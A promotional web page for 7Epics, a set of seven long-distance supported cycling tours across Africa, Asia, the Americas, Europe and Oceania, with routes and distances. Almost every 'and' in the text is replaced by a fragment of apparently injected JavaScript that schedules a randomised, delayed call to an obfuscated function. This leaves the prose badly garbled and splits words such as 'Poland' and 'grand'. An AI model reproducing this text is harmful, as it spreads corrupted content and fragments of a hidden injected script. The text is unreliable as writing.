The 7Epics concept

Love cycling, extreme challenges andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and accomplishing something that your friends will just shake their heads at?

Over 10 years ago a couple people got together andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and asked themselves – Can we organize a bicycle expedition that crosses Africa from Cairo to Cape Town? Western authorities strenuously warned against it. Friends looked at them like they had lost their marbles. But they persisted in their dream andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in 2003 the inaugural Tour d’Afrique Bicycle Expedition took place. And guess what? It was a success andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and unleashed a world-wide wave of interest in supported, long distance cycling. Africa was followed by similar trips across Europe, Asia, South andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and North America andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and finally Oceania.

Having created these trans-continental cycling expeditions, we decided to bind them all together andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and so, 7Epics was born – the ultimate cycling adventure; an ultimate challenge to be an EFI for those who want to cycle every inch, a travelogue for those who like to cycle the four corners of the planet; east andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and west, north andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and south, a platform to raise funds for those who like to set themselves a goal with a cause andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a for many others a marvelous opportunity to cycle faraway places, enjoy the world andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and escape the drudgery of modern life.

The number 7 is many things. It’s mystical: Seventh Heaven, Seven Sacred Teachings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Seven Spiritual Laws of Yoga. It’s magical: Seven Wonders of the World andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the Seven Seas. It’s practical: Seven Pillars of Wisdom, Seven Ages of Man, Seven Pillars of Health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and seven days in a week. It’s sacred: the world was created in 7 Days andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the Seven Chakras. It’s heavy: Seven Deadly Sins andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Seven Levels of Hell.

For us the 7Epics encapsulates much of the above: the mystical, the magical, the practical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the sacred.

So join the 7Epics challenge andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and discover what the number 7 means to you.

The 7 Epics are:

 

Tour d’Afrique

Cairo to Cape Town
Distance: 11,400km

And so it beginsStarting in Cairo our original trans-Africa expedition meandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anders along the Nile past ancient temples, across the Nubian Desert, up andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and down the Ethiopian plateau, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and past Mount Kenya andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Mount Kilimanjaro. After a midway break in the safari capital of Arusha, you will continue along the shores of Lake Malawi to Victoria Falls, through wildlife reserves in Botswana andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Namibia, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and finish with a champagne celebration in beautiful Cape Town. Read more here.

Silk Route

Beijing to Istanbul

Distance 13,000km

Camping in the MountainsCycling the world’s most famous trade route andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and following the footsteps of Marco Polo andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Genghis Khanacross mysterious landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands, fiery deserts, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and forbidding mountains. Almost 20 weeks later we arrive in faraway Istanbul, the majestic capital of Byzantium, the Roman Empire, the Ottomans andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and now the Republic of Turkey. Read more here.

South American Epic

Cartagena to Ushuaia

Distance 13,500km

Mountain-lunch-stop-edCycling South America from tip to tip, starting in Cartagena on the shores of the Caribbean, up andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and down the Andes, exploring the Atacama Desert, Lake Titicaca andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Machu Picchu while visiting some of the grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cities like Bogota, Quito, Lima, La Paz, Santiago, cycling down the famed Chilean Patagonia andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and finishing in Ushuaia on the shore of Drake passage. Read more here.

North American Epic

Arctic Circle to Panama City

Distance: 14,000km

By_the_river_edStarting on the shores of the Arctic Ocean, the riders will explore Jasper, Banff, Glacier Lakes, Yellowstone, the mountain biking paradise of Moab, the Grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Canyon andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other national parks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and World Heritage Sites en route, before continuing through Central America all the way to Panama City. Read more here.

Trans-Europa

Helsinki to Lisbon

Distance 6,000km

blog-headerStarting in Helsinki, the route snakes through the Baltic states of Lithuania, Latvia, Estonia, Polandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Slovakia, Hungary andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Slovenia, to Venice, then heading west across the foothills of the Alps to the French Riviera, continuing on to the Spanish Mediterranean, then cutting across the Iberian peninsula to Madrid andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and finishing in Lisbon. Read more here.

Bamboo Road

Shanghai to Singapore

Distance: 7,300km

Chasing the DragonStarting in Shanghai on the coast of the China Sea, cycling southward to Hong Kong andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and along the coastline to Vietnam, through Laos, Cambodia, stopping in Angor Wat, on through Thailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Malaysia andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and finishing in Singapore. Read more here.

Trans-Oceania

Perth to Queenstown

Distance: 8,000km

monkeys,-SumatraFrom Perth the cyclists will pedal along the Australia’s isolated South-west coast, across the desolate beauty of the Nullarbor Plain, along the coast on the gorgeous Great Ocean Road, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and onwards to Sydney’s beautiful Opera House. After flying to Aucklandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, New Zealandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, the cyclists will pedal through a hilly landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape, the country’s finest vineyards andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the gorgeous harbour in Wellington. Once on to the South Islandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, riders will enjoy sculpted rocks, hanging glaciers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stunning mountains before the tour comes to a close in friendly, picturesque Queenstown. Read more here.